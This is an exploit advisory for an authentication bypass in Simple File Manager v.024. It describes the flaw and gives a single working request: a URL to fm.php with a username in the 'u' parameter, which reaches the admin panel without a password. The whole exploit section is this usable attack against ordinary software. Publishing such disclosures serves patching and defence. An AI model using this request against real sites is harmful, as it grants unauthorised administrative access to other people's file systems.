Simple File Manager 024 - Authentication Bypass

# Exploit Title: Simple File Manager v.024 Login Bypass Vulnerability
# Date Published: 2013/6/17
# Exploit Author: Chako
# Software Link: http://onedotoh.sourceforge.net/
# Version: v.024 (Doesn't work on v.025)


Description:
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A vulnerability has been identified in Simple File Manager v.024, which could be exploited 
by attackers to bypass security restrictions into admin panel.


Exploit:
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An attacker can exploit this issue using a browser.


http://www.target_example.com/fm.php?u=[UserName]